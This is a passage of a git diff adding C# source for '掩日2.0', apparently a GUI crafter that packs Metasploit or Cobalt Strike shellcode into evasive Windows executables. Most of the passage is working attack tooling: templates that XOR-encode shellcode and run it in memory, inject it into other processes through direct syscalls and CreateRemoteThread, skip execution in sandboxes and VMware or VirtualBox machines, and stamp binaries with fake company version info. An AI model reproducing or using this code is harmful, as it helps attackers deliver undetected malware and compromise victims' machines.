(!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, + (UIntPtr)syscall.Length, 0x40, out oldprotect)) + { + throw new Win32Exception(); + } + + Delegates.NtCreateSection myAssemblyFunction = (Delegates.NtCreateSection)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateSection)); + + return (nativeStructs.NTSTATUS)myAssemblyFunction(ref section, desiredAccess, pAttrs, ref pMaxSize, pageProt, allocationAttribs, hFile); + } + } + } + + public static nativeStructs.NTSTATUS NtMapViewOfSection(IntPtr section, IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, uint alloctype, uint prot, string os) + { + byte[] syscall = syscallSkeleton; + syscall[4] = sysDic[os][""mapviewofsec""]; + + unsafe + { + fixed (byte* ptr = syscall) + { + + IntPtr memoryAddress = (IntPtr)ptr; + uint oldprotect; + + if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, + (UIntPtr)syscall.Length, 0x40, out oldprotect)) + { + throw new Win32Exception(); + } + + Delegates.NtMapViewOfSection myAssemblyFunction = (Delegates.NtMapViewOfSection)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtMapViewOfSection)); + + return (nativeStructs.NTSTATUS)myAssemblyFunction(section, process, ref baseAddr, zeroBits, commitSize, stuff, ref viewSize, inheritDispo, alloctype, prot); + } + } + } + + public static nativeStructs.NTSTATUS RtlGetVersion(IntPtr hProcess, ref IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten, string os) + { + byte[] syscall = syscallSkeleton; + syscall[4] = sysDic[os][""writevirtualmem""]; + + unsafe + { + fixed (byte* ptr = syscall) + { + + IntPtr memoryAddress = (IntPtr)ptr; + uint oldprotect; + + if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, + (UIntPtr)syscall.Length, 0x40, out oldprotect)) + { + throw new Win32Exception(); + } + + Delegates.ZwWriteVirtualMemory myAssemblyFunction = (Delegates.ZwWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwWriteVirtualMemory)); + + return (nativeStructs.NTSTATUS)myAssemblyFunction(hProcess, lpBaseAddress, lpBuffer, nSize, ref lpNumberOfBytesWritten); + } + } + } + + + public struct Delegates + { + [SuppressUnmanagedCodeSecurity] + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int ZwOpenProcess(out IntPtr hProcess, nativeStructs.ProcessAccessFlags processAccess, nativeStructs.OBJECT_ATTRIBUTES objAttribute, ref nativeStructs.CLIENT_ID clientid); + + [SuppressUnmanagedCodeSecurity] + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int ZwWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten); + + [SuppressUnmanagedCodeSecurity] + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect); + + [SuppressUnmanagedCodeSecurity] + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int NtCreateThreadEx(out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr lpStartAddress, IntPtr lpParameter, int createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr lpBytesBuffer); + + [SuppressUnmanagedCodeSecurity] + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate bool RtlGetVersion(ref nativeStructs.OSVERSIONINFOEXW lpVersionInformation); + + [SuppressUnmanagedCodeSecurity] + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int NtCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref nativeStructs.LARGE_INTEGER pMaxSize, uint pageProt, uint allocationAttribs, IntPtr hFile); + + [SuppressUnmanagedCodeSecurity] + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int NtMapViewOfSection(IntPtr section, IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, uint alloctype, uint prot); + } + } +}"; + + //简单虚拟机检测 + public static string vm_detect = @"if (System.IO.Directory.Exists(""C:\\Program Files\\VMware\\VMware Tools\\"")) + { + System.Environment.Exit(0); + } + if (System.IO.Directory.Exists(""C:\\Program Files\\Oracle\\VirtualBox Guest Additions\\"")) + { + System.Environment.Exit(0); + }"; + + //大循环延时 180秒 + public static string super_delay = @"int j = 0; + for (int i = 0; i < 500000000; i++) + { + for (int n = 0; n < 150; n++) + { + j += 2; + } + } + if (j == 0) + { + System.Environment.Exit(0); + }"; + + //开机自启 + public static string start_on_boot = @""; + + //注册服务 + public static string reg_service = @""; + } +} diff --git "a/\346\216\251\346\227\2452.0/C_Template.cs" "b/\346\216\251\346\227\2452.0/C_Template.cs" new file mode 100644 index 0000000..17f0c82 --- /dev/null +++ "b/\346\216\251\346\227\2452.0/C_Template.cs" @@ -0,0 +1,170 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace 掩日2._0 +{ + class C_Template + { + public static string Base_Code = @"#include +#include +#include +#include + +unsigned char code[] = ""{{shellcode}}""; +void main() +{ + clock_t start, finish; + double Total_time; + start = clock(); + Sleep(800); + finish = clock(); + Total_time = (double)(finish - start); + if(Total_time < 800) + { + return; + } + //{{sanbox_vm_detect}} + //{{persistence}} + + int j = 234; + int add = 12; + + for (int i = 0; i < sizeof(code); i++) + { + code[i] = code[i] ^ 123 ^ j; + j += add; + } + + //{{execute}} + +}"; + + //执行方式:VirtualAlloc + public static string VirtualALloc = @"char* p = VirtualAlloc(NULL, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + memcpy(p, code, sizeof(code)); + (*(void(*)())p)();"; + + //执行方式:GetProcAddress + public static string GetProcessAddress = @"char* testString3 = ((char[]){'V','i','r','t','u','a','l','A','l','l','o','c','\0'}); + char* testString4 = ((char[]){'k','e','r','n','e','l','3','2','\0'}); +FARPROC Allocate = GetProcAddress(GetModuleHandle(testString4), testString3); + char* BUFFER = (char*)Allocate(NULL, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(BUFFER, code, sizeof(code)); + (*(void(*)())BUFFER)();"; + + //动态加载,TODO + public static string Dynamic = ""; + + //注入到现有进程,需要提供 pid + public static string CreateRemoteThread = @"DWORD pid = {{pid}}; + char* Xernel = ((char[]){'k','e','r','n','e','l','3','2','\0'}); + typedef LPVOID (WINAPI* OpenProcessC)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); + OpenProcessC op = (OpenProcessC)GetProcAddress(GetModuleHandle(Xernel), ""OpenProcess""); + HANDLE processHandle = (char*)(*op)(PROCESS_ALL_ACCESS, FALSE, pid); + typedef LPVOID(WINAPI* VirtualAllocExC)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); + VirtualAllocExC vae = (VirtualAllocExC)GetProcAddress(GetModuleHandle(Xernel), ""VirtualAllocEx""); + PVOID remoteBuffer = (char*)(*vae)(processHandle, NULL, sizeof code, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); + WriteProcessMemory(processHandle, remoteBuffer, code, sizeof code, NULL); + typedef LPVOID(WINAPI* CreateRemoteThreadC)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); + CreateRemoteThreadC crt = (CreateRemoteThreadC)GetProcAddress(GetModuleHandle(Xernel), ""CreateRemoteThread""); + HANDLE remoteThread = (char*)(*crt)(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); + WaitForSingleObject(remoteThread, -1); + CloseHandle(processHandle);"; + + //注入到新进程,需要提供进程名 + public static string CreateNew = @"char* Xernel = ((char[]){'k','e','r','n','e','l','3','2','\0'}); + STARTUPINFOA si; + PROCESS_INFORMATION pi; + si.cb = sizeof(STARTUPINFO); + si.lpReserved = NULL; + si.lpDesktop = NULL; + si.lpTitle = NULL; + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + si.cbReserved2 = 0; + si.lpReserved2 = NULL; + CreateProcessA(0, ""{{processname}}"", 0, 0, 0, 0, 0, 0, &si, &pi); + DWORD pid = pi.dwProcessId; + + typedef LPVOID(WINAPI* OpenProcessC)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); + OpenProcessC op = (OpenProcessC)GetProcAddress(GetModuleHandle(Xernel), ""OpenProcess""); + HANDLE processHandle = (char*)(*op)(PROCESS_ALL_ACCESS, FALSE, pid); + + typedef LPVOID(WINAPI* VirtualAllocExC)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); + VirtualAllocExC vae = (VirtualAllocExC)GetProcAddress(GetModuleHandle(Xernel), ""VirtualAllocEx""); + PVOID remoteBuffer = (char*)(*vae)(processHandle, NULL, sizeof code, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); + + WriteProcessMemory(processHandle, remoteBuffer, code, sizeof code, NULL); + + typedef LPVOID(WINAPI* CreateRemoteThreadC)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); + CreateRemoteThreadC crt = (CreateRemoteThreadC)GetProcAddress(GetModuleHandle(Xernel), ""CreateRemoteThread""); + HANDLE remoteThread = (char*)(*crt)(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); + + WaitForSingleObject(remoteThread, -1); + CloseHandle(processHandle);"; + + //延时绕沙箱,这个测试延时约180+秒 + public static string Super_Delay = @"for(int i = 1; i<50000000;i++) + { + for(int j=1;j<1500;j++) + { + int a=1; + a += 88; + } + a += 1; + } + if(a != 50000000) + { + return; + }"; + + //检查注册表和文件绕虚拟机 + public static string Vm_Detect = @"HKEY hkey; + if (RegOpenKey(HKEY_CLASSES_ROOT, ""\\Applications\\VMwareHostOpen.exe"", &hkey) == ERROR_SUCCESS) + { + return; + } + if (access(""C:\\Program Files\\VMware\\VMware Tools\\"", 0) == 0) + { + return; + } + if (access(""C:\\Program Files\\Oracle\\VirtualBox Guest Additions\\"") == 0) + { + return; + } + if (RegOpenKey(HKEY_LOCAL_MACHINE, ""SOFTWARE\\Oracle\\VirtualBox Guest Additions"", &hkey) == ERROR_SUCCESS) + { + return; + }"; + + //编译信息 + public static string compile_info = @"1 VERSIONINFO +FILEVERSION 1,0,0,0 +PRODUCTVERSION 1,0,0,0 +FILEOS 0x40004 +FILETYPE 0x1 +{ +BLOCK ""StringFileInfo"" +{ + BLOCK ""040904B0"" + { + VALUE ""CompanyName"", ""{{companyname}}"" + VALUE ""FileDescription"", ""An Excellent Software Developed By {{companyname}} To Solove Your Problem."" + VALUE ""FileVersion"", ""1.0.0.0"" + VALUE ""LegalCopyright"", ""Copyright (C) 2020 {{companyname}}. All rights reserved."" + VALUE ""ProductName"", ""{{companyname}} Helper"" + VALUE ""ProductVersion"", ""1.0.0.0"" + } +} + +BLOCK ""VarFileInfo"" +{ + VALUE ""Translation"", 0X0409, 0X04B0 +} +} + +"; + } +} diff --git "a/\346\216\251\346\227\2452.0/Common.cs" "b/\346\216\251\346\227\2452.0/Common.cs" new file mode 100644 index 0000000..ac6a844 --- /dev/null +++ "b/\346\216\251\346\227\2452.0/Common.cs" @@ -0,0 +1,55 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace 掩日2._0 +{ + class Common + { + //生成随机字符串 + public static string GetRandomString(int length, bool useNum, bool useLow, bool useUpp, bool useSpe, string custom) + { + byte[] b = new byte[4]; + new System.Security.Cryptography.RNGCryptoServiceProvider().GetBytes(b); + Random r = new Random(BitConverter.ToInt32(b, 0)); + string s = null, str = custom; + if (useNum == true) { str += "0123456789"; } + if (useLow == true) { str += "abcdefghijklmnopqrstuvwxyz"; } + if (useUpp == true) { str += "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; } + if (useSpe == true) { str += "!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"; } + for (int i = 0; i < length; i++) + { + s += str.Substring(r.Next(0, str.Length - 1), 1); + } + return s; + } + + //执行系统命令 + public static string Execute_Cmd(string cmd) + { + string output = ""; + System.Diagnostics.Process p = new System.Diagnostics.Process(); + p.StartInfo.FileName = "cmd.exe"; + p.StartInfo.UseShellExecute = false; //是否使用操作系统shell启动 + p.StartInfo.RedirectStandardInput = true;//接受来自调用程序的输入信息 + p.StartInfo.RedirectStandardOutput = true;//由调用程序获取输出信息 + p.StartInfo.RedirectStandardError = true;//重定向标准错误输出 + p.StartInfo.CreateNoWindow = true;//不显示程序窗口 + p.Start();//启动程序 + + //向cmd窗口发送输入信息 + p.StandardInput.WriteLine(cmd + "&exit"); + + p.StandardInput.AutoFlush = true; + + //获取cmd窗口的输出信息 + output = p.StandardOutput.ReadToEnd(); + + p.WaitForExit();//等待程序执行完退出进程 + p.Close(); + return output; + } + + } +} diff --git "a/\346\216\251\346\227\2452.0/Compiler.cs" "b/\346\216\251\346\227\2452.0/Compiler.cs" new file mode 100644 index 0000000..0c137b3 --- /dev/null +++ "b/\346\216\251\346\227\2452.0/Compiler.cs" @@ -0,0 +1,47 @@ +using Microsoft.CSharp; +using System; +using System.CodeDom.Compiler; +using System.Collections.Generic; +using System.Linq; +using System.Text; + + +namespace 掩日2._0 +{ + class Compiler + { + CSharpCodeProvider provider = new CSharpCodeProvider(); + CompilerParameters parameters = new CompilerParameters(); + + public Compiler() + { + parameters.ReferencedAssemblies.Add("System.Core.dll"); + parameters.GenerateInMemory = false; + parameters.GenerateExecutable = true; + parameters.IncludeDebugInformation = false; + parameters.ReferencedAssemblies.Add("mscorlib.dll"); + parameters.ReferencedAssemblies.Add("System.dll"); + } + + public void compileToExe(String code, String filePath, String Arch) + { + + parameters.OutputAssembly = filePath; + parameters.CompilerOptions = Arch; + + CompilerResults results = provider.CompileAssemblyFromSource(parameters, code); + + if (results.Errors.HasErrors) + { + StringBuilder sb = new StringBuilder(); + + foreach (CompilerError error in results.Errors) + { + sb.AppendLine(String.Format("Error ({0}): {1}", error.ErrorNumber, error.ErrorText)); + } + + throw new InvalidOperationException(sb.ToString()); + } + } + } +} diff --git "a/\346\216\251\346\227\2452.0/Core.cs" "b/\346\216\251\346\227\2452.0/Core.cs" new file mode 100644 index 0000000..3ae480e --- /dev/null +++ "b/\346\216\251\346\227\2452.0/Core.cs" @@ -0,0 +1,264 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; + +namespace 掩日2._0 +{ + class Core + { + //极简模式 + public static bool Generate_1_IP(string arch, string ip, string port, string path) + { + string finalip = ""; + + foreach (char c in ip) + { + finalip += "'" + c + "',"; + } + finalip += @"'\0'"; + + string FinalCode = T_EasyMode.GetCode().Replace("{{ip}}", finalip).Replace("{{port}}", port); + + string temp_path = @"C:\Windows\Temp\YANRI_TEMP_" + Common.GetRandomString(6, true, true, true, false, "") + ".c"; + System.IO.File.WriteAllText(temp_path, FinalCode); + + //开始编译 + string compilecmd = @"gcc " + temp_path + @" -o """ + path + @""" -mwindows -m"+ arch.Substring(0, 2) +" -lws2_32"; + + if (!Common.Execute_Cmd(compilecmd).Contains("error:")) + { + System.IO.File.Delete(temp_path); + return true; + } + else + { + System.IO.File.Delete(temp_path); + return false; + } + } + + //处理 shellcode,并全部转换成 c# 格式 + public static string Shellcode_Handle(string raw) + { + string result = ""; + //去掉所有换行 → 匹配出shellcode → 去掉所有空格 → 去掉引号、分号、括号 → 转换格式 + raw = raw.Replace("\r\n", "").Replace("\r", "").Replace("\n", ""); + + if (raw.Contains(@"\x")) + { + //c 类型的shellcode + string pattern = @"=.*$"; + string temp = Regex.Match(raw, pattern).Value; + result = temp.Replace(@"""", "").Replace(" ", "").Replace("=", "").Replace(";", ""); + } + else if ((raw.Contains(@",0x")) || (raw.Contains(@", 0x"))) + { + //c# 类型的shellcode + string pattern = @"{.*}"; + string temp = Regex.Match(raw, pattern).Value; + result = temp.Replace("{", "").Replace(" ", "").Replace("}", "").Replace(";", ""); + } + else + { + return ""; + } + //转换成 c# 格式 + if (result.Contains(@"\x")) + { + result = result.Replace(@"\x", ",0x").TrimStart(','); + } + return result; + } + + //变异异或,需要指定返回 c 还是 c# 格式的 shellcode + public static string XOR_C(string format, string raw) + { + string result = ""; + string[] shellcode_array = raw.Split(','); + string[] temp = new string[shellcode_array.Length]; + int j = 234; + int add = 12; + for (int i = 0; i < shellcode_array.Length; i++) + { + temp[i] = string.Format("{0:x2}", string_to_int(shellcode_array[i]) ^ 123 ^ j); + temp[i] = "0x" + temp[i].Substring(temp[i].Length - 2, 2); + j += add; + } + result = string.Join(",", temp); + //转换一下格式 + if (format == "c") + { + result = result.Replace("0x", @"\x").Replace(",", ""); + } + return result; + } + + //字符串转十进制,返回byte形式 + public static byte string_to_int(string str) + { + string temp = str.Substring(str.Length - 2, 2); + int hex = int.Parse(temp, System.Globalization.NumberStyles.HexNumber); + return BitConverter.GetBytes(hex)[0]; + } + + //生成 c 源码并编译 + public static bool Gen_C(string shellcode, string path, string execute, string inject, string arch, string detect) + { + string finalcode; + shellcode = Shellcode_Handle(shellcode); + shellcode = XOR_C("c", shellcode); + + Random r = new Random(); + int n = r.Next(0, Global.Company_name.Length - 1); + string comname = Global.Company_name[n]; + + string c_compile_info = C_Template.compile_info.Replace("{{companyname}}", comname); + + //图标设置 + if (Global.ICONPATH != "") + { + c_compile_info += @"IDI_ICON1 ICON ""{{path}}"""; + c_compile_info = c_compile_info.Replace("{{path}}", Global.ICONPATH.Replace("\\", "\\\\")); + } + System.IO.File.WriteAllText("C:\\Windows\\Temp\\Yanri_res.rc", c_compile_info); + string res_cmd = "windres C:\\Windows\\Temp\\Yanri_res.rc C:\\Windows\\Temp\\Yanri_res.o"; + if (arch.StartsWith("32")) + { + res_cmd += " --target=pe-i386"; + } + Common.Execute_Cmd(res_cmd); + bool icon_set = System.IO.File.Exists("C:\\Windows\\Temp\\Yanri_res.o"); + //System.IO.File.Delete("C:\\Windows\\Temp\\Yanri_res.rc"); + + //根据执行方式选择代码模板 + if (execute == "执行4-Dynamic") + { + finalcode = C_Template.Dynamic.Replace("{{shellcode}}", shellcode); + } + else + { + finalcode = C_Template.Base_Code.Replace("{{shellcode}}", shellcode); + switch (execute) + { + case "执行1-VirtualAlloc": + finalcode = finalcode.Replace("//{{execute}}", C_Template.VirtualALloc); + break; + case "执行2-GetProcAddress": + finalcode = finalcode.Replace("//{{execute}}", C_Template.GetProcessAddress); + break; + case "注入现有进程": + finalcode = finalcode.Replace("//{{execute}}", C_Template.CreateRemoteThread); + finalcode = finalcode.Replace("{{pid}}", inject); + break; + case "注入新进程": + finalcode = finalcode.Replace("//{{execute}}", C_Template.CreateNew); + finalcode = finalcode.Replace("{{processname}}", inject); + break; + default: + return false; + } + } + //虚拟机及沙箱检测 + switch (detect) + { + case "沙箱:延时约180秒": + finalcode = finalcode.Replace("//{{sanbox_vm_detect}}", C_Template.Super_Delay); + break; + case "虚拟机:简单反虚拟机": + finalcode = finalcode.Replace("//{{sanbox_vm_detect}}", C_Template.Vm_Detect); + break; + } + + //保存代码到临时文件 + string temp_path = @"C:\Windows\Temp\YANRI_TEMP_" + Common.GetRandomString(6, true, true, true, false, "") + ".c"; + System.IO.File.WriteAllText(temp_path, finalcode); + + //编译 + if (C_Compiler(arch, temp_path, path, icon_set)) + { + //System.IO.File.Delete(temp_path); + System.IO.File.Delete("C:\\Windows\\Temp\\Yanri_res.o"); + return true; + } else + { + System.IO.File.Delete(temp_path); + System.IO.File.Delete("C:\\Windows\\Temp\\Yanri_res.o"); + return false; + } + } + + //生成 c# 源码并编译 + public static bool Gen_CS(string shellcode, string path, string execute, string inject, string arch, string detect) + { + shellcode = Shellcode_Handle(shellcode); + shellcode = XOR_C("c#", shellcode); + string target_arch = "/platform:x86 /optimize /target:winexe "; + if (arch.StartsWith("6")) + { + target_arch = target_arch.Replace("86", "64"); + } + if (Global.ICONPATH != "") + { + target_arch += " /win32icon:" + Global.ICONPATH; + } + string finalcode = ""; + + //根据执行方式决定代码模板 + switch (execute) + { + case "执行1-GetProcAddress": + finalcode = CS_Template.getprocaddress.Replace("{{shellcode}}", shellcode); + break; + case "执行2-VirtualProtect": + finalcode = CS_Template.virtualprotect.Replace("{{shellcode}}", shellcode); + break; + case "注入现有进程": + finalcode = CS_Template.syscall_exist.Replace("{{shellcode}}", shellcode).Replace("{{pid}}", inject); + target_arch += " /unsafe"; + break; + case "注入新进程": + finalcode = CS_Template.syscall_new.Replace("{{shellcode}}", shellcode).Replace("{{processname}}", inject); + target_arch += " /unsafe"; + break; + } + + //虚拟机/沙箱检测 + switch (detect) + { + case "沙箱:延时约180秒": + finalcode.Replace("//{{sanbox_vm_detect}}", CS_Template.super_delay); + break; + case "虚拟机:简单反虚拟机": + finalcode.Replace("//{{sanbox_vm_detect}}", CS_Template.vm_detect); + break; + } + + //代码生成完毕,准备开始编译 + Compiler compiler = new Compiler(); + compiler.compileToExe(finalcode, path, target_arch); + //System.IO.File.WriteAllText(@"C:\Users\www1y\Desktop\arch.txt", target_arch); + + + return true; + } + + //编译 c + public static bool C_Compiler(string arch, string source_path, string save_path, bool res=false) + { + string arch_cmd = " -m" + arch.Substring(0, 2); + string compile_cmd = @"gcc -mwindows -o """ + save_path + @"""" + arch_cmd + @" """ + source_path + @""""; + if (res) + { + compile_cmd += @" C:\\Windows\\Temp\\Yanri_res.o"; + } + //System.IO.File.WriteAllText(@"C:\\Users\\www1y\\Desktop\\cmd1.txt", compile_cmd); + if (!Common.Execute_Cmd(compile_cmd).Contains("rror:")) + { + return true; + } + return false; + } + } +} diff --git "a/\346\216\251\346\227\2452.0/Form1.Designer.cs" "b/\346\216\251\346\227\2452.0/Form1.Designer.cs" new file mode 100644 index 0000000..bfebad2 --- /dev/null +++ "b/\346\216\251\346\227\2452.0/Form1.Designer.cs" @@ -0,0 +1,355 @@ +namespace 掩日2._0 +{ + partial class Form1 + { + /// + /// 必需的设计器变量。 + /// + private System.ComponentModel.IContainer components = null; + + /// + /// 清理所有正在使用的资源。 + /// + /// 如果应释放托管资源,为 true;否则为 false。 + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows 窗体设计器生成的代码 + + /// + /// 设计器支持所需的方法 - 不要修改 + /// 使用代码编辑器修改此方法的内容。 + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1)); + this.linkLabel1 = new System.Windows.Forms.LinkLabel(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.button1 = new System.Windows.Forms.Button(); + this.label3 = new System.Windows.Forms.Label(); + this.toolTip1 = new System.Windows.Forms.ToolTip(this.components); + this.comboBox5 = new System.Windows.Forms.ComboBox(); + this.textBox2 = new System.Windows.Forms.TextBox(); + this.saveFileDialog1 = new System.Windows.Forms.SaveFileDialog(); + this.panel1 = new System.Windows.Forms.Panel(); + this.richTextBox1 = new System.Windows.Forms.RichTextBox(); + this.label8 = new System.Windows.Forms.Label(); + this.panel2 = new System.Windows.Forms.Panel(); + this.radioButton6 = new System.Windows.Forms.RadioButton(); + this.pictureBox3 = new System.Windows.Forms.PictureBox(); + this.radioButton3 = new System.Windows.Forms.RadioButton(); + this.label6 = new System.Windows.Forms.Label(); + this.label4 = new System.Windows.Forms.Label(); + this.comboBox2 = new System.Windows.Forms.ComboBox(); + this.label2 = new System.Windows.Forms.Label(); + this.comboBox1 = new System.Windows.Forms.ComboBox(); + this.label1 = new System.Windows.Forms.Label(); + this.comboBox3 = new System.Windows.Forms.ComboBox(); + this.openFileDialog1 = new System.Windows.Forms.OpenFileDialog(); + this.panel1.SuspendLayout(); + this.panel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).BeginInit(); + this.SuspendLayout(); + // + // linkLabel1 + // + this.linkLabel1.AutoSize = true; + this.linkLabel1.Font = new System.Drawing.Font("微软雅黑", 8F); + this.linkLabel1.LinkColor = System.Drawing.Color.Blue; + this.linkLabel1.Location = new System.Drawing.Point(187, 56); + this.linkLabel1.Name = "linkLabel1"; + this.linkLabel1.Size = new System.Drawing.Size(56, 20); + this.linkLabel1.TabIndex = 0; + this.linkLabel1.TabStop = true; + this.linkLabel1.Text = "🔻进阶"; + this.toolTip1.SetToolTip(this.linkLabel1, "打开进阶选项"); + this.linkLabel1.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.linkLabel1_LinkClicked); + // + // textBox1 + // + this.textBox1.Location = new System.Drawing.Point(23, 13); + this.textBox1.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.textBox1.Name = "textBox1"; + this.textBox1.Size = new System.Drawing.Size(265, 27); + this.textBox1.TabIndex = 3; + this.textBox1.Text = "127.0.0.1:4444"; + this.toolTip1.SetToolTip(this.textBox1, "格式为 IP:端口,支持输入多个IP:端口,英文 , 隔开。如果填入多个IP(最多3个),程序在运行时将随机连接一个地址,连接失败会自动重试其他地址"); + // + // button1 + // + this.button1.Font = new System.Drawing.Font("宋体", 9F); + this.button1.Location = new System.Drawing.Point(103, 46); + this.button1.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(84, 26); + this.button1.TabIndex = 5; + this.button1.Text = "生成"; + this.button1.UseVisualStyleBackColor = true; + this.button1.Click += new System.EventHandler(this.button1_Click); + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(272, 52); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(30, 20); + this.label3.TabIndex = 8; + this.label3.Text = "🛠"; + this.toolTip1.SetToolTip(this.label3, "关于"); + this.label3.Click += new System.EventHandler(this.label3_Click); + // + // toolTip1 + // + this.toolTip1.AutoPopDelay = 15000; + this.toolTip1.InitialDelay = 500; + this.toolTip1.ReshowDelay = 100; + // + // comboBox5 + // + this.comboBox5.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.comboBox5.Font = new System.Drawing.Font("微软雅黑", 8F); + this.comboBox5.FormattingEnabled = true; + this.comboBox5.Location = new System.Drawing.Point(102, 134); + this.comboBox5.Name = "comboBox5"; + this.comboBox5.Size = new System.Drawing.Size(185, 27); + this.comboBox5.TabIndex = 23; + this.toolTip1.SetToolTip(this.comboBox5, "已经自带了简单的反沙箱功能,可以按需再选"); + // + // textBox2 + // + this.textBox2.Location = new System.Drawing.Point(102, 92); + this.textBox2.Name = "textBox2"; + this.textBox2.Size = new System.Drawing.Size(185, 27); + this.textBox2.TabIndex = 15; + this.textBox2.Text = "notepad.exe"; + this.toolTip1.SetToolTip(this.textBox2, "注入新进程建议输入 notepad.exe 或 calc.exe 等"); + // + // panel1 + // + this.panel1.Controls.Add(this.richTextBox1); + this.panel1.Controls.Add(this.comboBox5); + this.panel1.Controls.Add(this.label8); + this.panel1.Controls.Add(this.panel2); + this.panel1.Controls.Add(this.textBox2); + this.panel1.Controls.Add(this.label4); + this.panel1.Controls.Add(this.comboBox2); + this.panel1.Controls.Add(this.label2); + this.panel1.Controls.Add(this.comboBox1); + this.panel1.Controls.Add(this.label1); + this.panel1.Dock = System.Windows.Forms.DockStyle.Bottom; + this.panel1.Location = new System.Drawing.Point(0, 78); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(305, 403); + this.panel1.TabIndex = 9; + this.panel1.Visible = false; + // + // richTextBox1 + // + this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Bottom; + this.richTextBox1.ForeColor = System.Drawing.Color.Gray; + this.richTextBox1.Location = new System.Drawing.Point(0, 232); + this.richTextBox1.Name = "richTextBox1"; + this.richTextBox1.Size = new System.Drawing.Size(305, 171); + this.richTextBox1.TabIndex = 10; + this.richTextBox1.Text = "粘贴msfvenom或CobaltStrike生成的shellcode到此, shellcode必须为 c 或 c# 格式"; + this.richTextBox1.Click += new System.EventHandler(this.richTextBox1_Click); + this.richTextBox1.TextChanged += new System.EventHandler(this.richTextBox1_TextChanged); + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(11, 138); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(105, 20); + this.label8.TabIndex = 22; + this.label8.Text = "虚拟机/沙箱:"; + // + // panel2 + // + this.panel2.Controls.Add(this.radioButton6); + this.panel2.Controls.Add(this.pictureBox3); + this.panel2.Controls.Add(this.radioButton3); + this.panel2.Controls.Add(this.label6); + this.panel2.Location = new System.Drawing.Point(2, 172); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(301, 62); + this.panel2.TabIndex = 19; + // + // radioButton6 + // + this.radioButton6.AutoSize = true; + this.radioButton6.Location = new System.Drawing.Point(166, 30); + 